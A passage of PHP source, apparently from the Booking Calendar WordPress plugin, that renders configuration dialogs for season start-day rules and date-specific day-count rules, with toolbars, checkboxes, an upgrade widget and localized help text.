wpbc_shortcode_config_fields__season_start_day_conditions( $id, $group_key ) { //-------------------------------------------------------------------------------------------------------------- // 'Upgrade to Pro' widget //-------------------------------------------------------------------------------------------------------------- $upgrade_content_arr = wpbc_get_upgrade_widget( array( 'id' => $id . '_' . 'conditional_days_startday', 'dismiss_css_class' => '.wpbc_dismiss__conditional_days', 'blured_in_versions' => array( 'free', 'ps', 'bs' ), 'feature_link' => array( 'title' => 'feature', 'relative_url' => 'overview/#advanced-days-selection' ), 'upgrade_link' => array( 'title' => 'Upgrade to Pro', 'relative_url' => 'features/#bk_news_section' ), 'versions' => 'Business Medium / Large, MultiUser versions', 'css' => 'transform: translate(0) translateY(120px);' ) ); echo $upgrade_content_arr['content']; //-------------------------------------------------------------------------------------------------------------- // Conditions for Seasons days START selection //-------------------------------------------------------------------------------------------------------------- $options = wpbc_shortcode_config_fields__get_options_for_seasons(); ?><div class="wpbc_shortcode_config__rules_container wpbc_dismiss__conditional_days <?php echo esc_attr( $upgrade_content_arr['maybe_blur_css_class'] ); ?>"> <div class="wpbc_shortcode_config__rules__params_section wpbc_start_day_season"> <div class="wpbc_ajx_toolbar wpbc_no_background wpbc_buttons_row"> <div class="ui_container ui_container_mini"> <div class="ui_group"> <div class="ui_element"> <div class="wpbc_ui_control" style="line-height: 2;"> <span><?php _e('In season' ,'booking'); ?></span> </div> </div> <div class="ui_element wpdevelop"><?php WPBC_Settings_API::field_select_row_static( $id . '__season_filter_name' , array( 'type' => 'select' , 'title' => '' , 'label' => '' , 'disabled' => false , 'disabled_options' => array() , 'multiple' => false , 'description' => '' , 'description_tag' => 'span' , 'group' => $group_key , 'tr_class' => '' , 'class' => 'wpbc_ui_control wpbc_ui_select' , 'css' => 'max-width: Min(14em, 100%);flex: 0 1 auto;width: 14em;border-radius:3px 0 0 3px;' , 'only_field' => true , 'attr' => array() , 'value' => '0' , 'options' => $options ) ); ?><a href="<?php echo wpbc_get_availability_url(); ?>&tab=filter" title="<?php echo esc_attr( __( 'Add new season', 'booking' ) ); ?>" class="wpbc_ui_control wpbc_ui_button tooltip_top" ><i class="menu_icon icon-1x wpbc_icn_add _circle_outline"></i></a><?php ?></div> </div> </div> </div> <div class="wpbc_ajx_toolbar wpbc_no_background wpbc_buttons_row"> <div class="ui_container ui_container_mini ui_container_weekdays"> <div class="ui_group"> <div class="ui_element"> <div class="wpbc_ui_control " style="line-height: 2;"><?php _e('allow to start days selection only for these weekdays' ,'booking'); ?></div> </div> </div> <div class="ui_group ui_group_weekdays_checkboxes"><?php $week_days_arr = array( 1 => __( 'Mo', 'booking' ) , 2 => __( 'Tu', 'booking' ) , 3 => __( 'We', 'booking' ) , 4 => __( 'Th', 'booking' ) , 5 => __( 'Fr', 'booking' ) , 6 => __( 'Sa', 'booking' ) , 0 => __( 'Su', 'booking' ) ); foreach ( $week_days_arr as $weekday_key => $weekday_title ) { ?><div class="ui_element"><?php WPBC_Settings_API::field_checkbox_row_static( $id . '__weekday_' . $weekday_key , array( 'type' => 'checkbox' , 'title' => '' , 'description' => '' , 'description_tag' => 'span' , 'label' => $weekday_title , 'class' => '' , 'css' => '' , 'tr_class' => '' , 'attr' => array() , 'group' => $group_key , 'only_field' => true , 'is_new_line' => false , 'value' => false ) ); ?></div><?php } ?></div> </div> </div> <div class="wpbc_ajx_toolbar wpbc_no_background wpbc_buttons_row"> <div class="ui_container ui_container_mini"> <div class="ui_group"><?php ?><div class="ui_element"> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config__start_day_season__add('<?php echo $id; ?>');" class="wpbc_ui_control wpbc_ui_button wpbc_ui_button_primary" ><?php _e('Add Rule','booking'); ?></a> </div><?php ?><div class="ui_element"> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config__start_day_season__reset('<?php echo $id; ?>');" class="wpbc_ui_control wpbc_ui_button wpbc_ui_button_danger" ><?php _e('Reset','booking'); ?></a> </div><?php ?> </div> </div> </div> </div> <div class="wpbc_shortcode_config__rules__help_section"> <div class="wpbc-settings-notice notice-info notice-header"> <span><?php _e( 'Specify the weekdays as start days for selection when starting the selection in a specific season.', 'booking' ); ?></span> </div> <div class="wpbc-settings-notice notice-info notice-list"> <ol> <li> <?php _e( "For example, a visitor can starting days selection only on 'Sunday' or 'Friday' if select days on 'Low season'. To configure this, select the 'Low season' option in the dropdown menu and enable 'Sunday' and 'Friday' boxes. Click the 'Add Rule' button.", 'booking' ); ?> </li> <li> <?php echo '<strong>' . __( 'Code Example', 'booking' ) . ': </strong>' . '<code>{start-day condition="season" for="Low season" value="0,5"}</code>'; ?> </li> <li> <?php printf( __ ('Check the FAQ for details on %sshortcode configuration%s, especially this %soption%s.' , 'booking' ) , '<a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/" target="_blank">', '</a>' , '<strong><a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/#booking-options-start-day-condition" target="_blank">', '</a></strong>' ); ?> </li> <li> <?php printf(__('Explore %sJavaScript customization%s for advanced different day selection in different calendars.' ,'booking') , '<a href="https://wpbookingcalendar.com/faq/advanced-javascript-for-the-booking-shortcodes/" target="_blank">','</a>'); ?> </li> </ol> </div> <textarea id="<?php echo $id; ?>_textarea" name="<?php echo $id; ?>_textarea" style="width:100%;margin:10px 0;"></textarea> </div> </div><?php } /** * Dates Condition - Set Number of Days to Select, if start selection on specific date '2024-02-14' * * Config dialog for Booking Calendar shortcode * * @param $id * @param $group_key * * @return void */ function wpbc_shortcode_config_fields__fordate_conditions( $id, $group_key ) { //-------------------------------------------------------------------------------------------------------------- // 'Upgrade to Pro' widget //-------------------------------------------------------------------------------------------------------------- $upgrade_content_arr = wpbc_get_upgrade_widget( array( 'id' => $id . '_' . 'conditional_days_fordate', 'dismiss_css_class' => '.wpbc_dismiss__conditional_days', 'blured_in_versions' => array( 'free', 'ps', 'bs' ), 'feature_link' => array( 'title' => 'feature', 'relative_url' => 'overview/#advanced-days-selection' ), 'upgrade_link' => array( 'title' => 'Upgrade to Pro', 'relative_url' => 'features/#bk_news_section' ), 'versions' => 'Business Medium / Large, MultiUser versions', 'css' => 'transform: translate(0) translateY(120px);' ) ); echo $upgrade_content_arr['content']; //-------------------------------------------------------------------------------------------------------------- // Conditions for DATE selection //-------------------------------------------------------------------------------------------------------------- ?><div class="wpbc_shortcode_config__rules_container wpbc_dismiss__conditional_days <?php echo esc_attr( $upgrade_content_arr['maybe_blur_css_class'] ); ?>"> <div class="wpbc_shortcode_config__rules__params_section wpbc_select_fordate"> <div class="wpbc_ajx_toolbar wpbc_no_background wpbc_buttons_row"> <div class="ui_container ui_container_mini"> <div class="ui_group"> <div class="ui_element"> <div class="wpbc_ui_control" style="line-height: 2;"> <span><?php _e('For date' ,'booking'); ?></span> </div> </div> <div class="ui_element wpdevelop"><?php WPBC_Settings_API::field_text_row_static( $id . '__date' , array( 'type' => 'text' , 'placeholder' => '2024-02-14' , 'class' => 'wpbc_ui_control wpbc_ui_text' , 'css' => 'width:9em;border-radius:3px;' , 'only_field' => true , 'attr' => array() , 'value' => '' ) ); ?></div> </div> </div> <div class="ui_container ui_container_mini"> <div class="ui_group"> <div class="ui_element"> <div class="wpbc_ui_control " style="line-height: 2;"><?php _e('allow to select' ,'booking'); ?></div> </div> <div class="ui_element"><?php WPBC_Settings_API::field_text_row_static( $id . '__days_number' , array( 'type' => 'text' , 'placeholder' => '5 ' . __( 'or', 'booking' ) . ' 1-7 ' . __( 'or', 'booking' ) . ' 1,5,7' , 'class' => 'wpbc_ui_control wpbc_ui_text' , 'css' => 'width:9em;border-radius:3px;' , 'only_field' => true , 'attr' => array() , 'value' => '' ) ); ?></div> <div class="ui_element"> <div class="wpbc_ui_control" style="line-height: 2;"><?php _e('days' ,'booking'); ?></div> </div> </div> </div> <div class="ui_container ui_container_mini"> <div class="ui_group"> <div class="ui_element"> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config__select_day_fordate__add('<?php echo $id; ?>');" class="wpbc_ui_control wpbc_ui_button wpbc_ui_button_primary" ><?php _e('Add Rule','booking'); ?></a> </div> <div class="ui_element"> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config__select_day_fordate__reset('<?php echo $id; ?>');" class="wpbc_ui_control wpbc_ui_button wpbc_ui_button_danger" ><?php _e('Reset','booking'); ?></a> </div> </div> </div> </div> </div> <div class="wpbc_shortcode_config__rules__help_section"> <div class="wpbc-settings-notice notice-info notice-header"> <span><?php _e( 'Specify the number of days to select when starting the selection on a specific date.', 'booking' ); ?></span> </div> <div class="wpbc-settings-notice notice-info notice-list"> <ol> <li> <?php _e( "For example, a visitor can choose to book 7 or 14 days or 21 days starting on '2027-02-15'. To configure this, enter date in format 'YYYY-MM-DD' such as '2027-02-15' and set the number of days to select as '7,14,21'. Click the 'Add Rule' button.", 'booking' ); ?> </li> <li> <?php echo '<strong>' . __( 'Code Example', 'booking' ) . ': </strong>' . '<code>{select-day condition="date" for="2027-02-15" value="7,14,21"}</code>'; ?> </li> <li> <?php printf( __ ('Check the FAQ for details on %sshortcode configuration%s, especially this %soption%s.' , 'booking' ) , '<a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/" target="_blank">', '</a>' , '<strong><a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/#aggregate" target="_blank">', '</a></strong>' ); ?> </li> <li> <?php printf(__('Explore %sJavaScript customization%s for advanced different day selection in different calendars.' ,'booking') , '<a href="https://wpbookingcalendar.com/faq/advanced-javascript-for-the-booking-shortcodes/" target="_blank">','</a>'); ?> </li> </ol> </div> <textarea id="<?php echo $id; ?>_textarea" name="<?php echo $id; ?>_textarea" style="width:100%;margin:10px 0;"></textarea> </div> </div><?php }